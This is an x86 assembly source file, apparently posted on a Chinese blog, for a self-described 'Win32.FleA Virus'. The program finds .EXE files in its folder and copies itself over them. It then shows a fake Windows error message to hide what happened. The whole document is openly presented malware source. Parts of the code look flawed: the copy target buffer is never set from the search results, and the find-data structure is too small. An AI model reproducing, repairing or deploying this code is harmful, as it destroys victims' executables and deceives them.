FleA.asm

.386
.model flat
jumps

extrn GetCommandLineA:PROC
extrn lstrcpyA:PROC
extrn FindFirstFileA:PROC
extrn CopyFileA:PROC
extrn FindNextFileA:PROC
extrn MessageBoxA:PROC
extrn ExitProcess:PROC

.data
CopyRight db 'Win32.FleA Virus'
db 'Version 1.0'
db 'by -DiA- (c)02'
db '[My 1st Win32 Virus!]'

FakeError db 'Windows Error 300687',10,13
db 'Can not locate the Entry Point!',0
FileMask db '*.EXE',0
Win32FindData dd 0,0,0,0,0,0,0,0,0,0,0
WhatMake dd 200d dup (0)
MakeThat dd 200d dup (0)
ThisProg dd 200d dup (0)
FindHandle dd 0

.code
start:

call GetCommandLineA

push eax
push offset ThisProg
call lstrcpyA

GetPoint:
cmp byte ptr [eax],'.'
jz FoundPoint
inc eax
jmp GetPoint

FoundPoint:
add eax,4d
mov byte ptr [eax],00

push offset Win32FindData
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax

FindNext:
cmp eax,-1
je ErrorMsg
or eax,eax
jz ErrorMsg

push offset WhatMake
push offset MakeThat
call lstrcpyA

push 0
push offset MakeThat
push offset ThisProg+1
call CopyFileA

push offset Win32FindData
push dword ptr [FindHandle]
call FindNextFileA
jmp FindNext

ErrorMsg:
push 16
push offset ThisProg+1
push offset FakeError
push 0
call MessageBoxA

push 0
call ExitProcess

end start
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值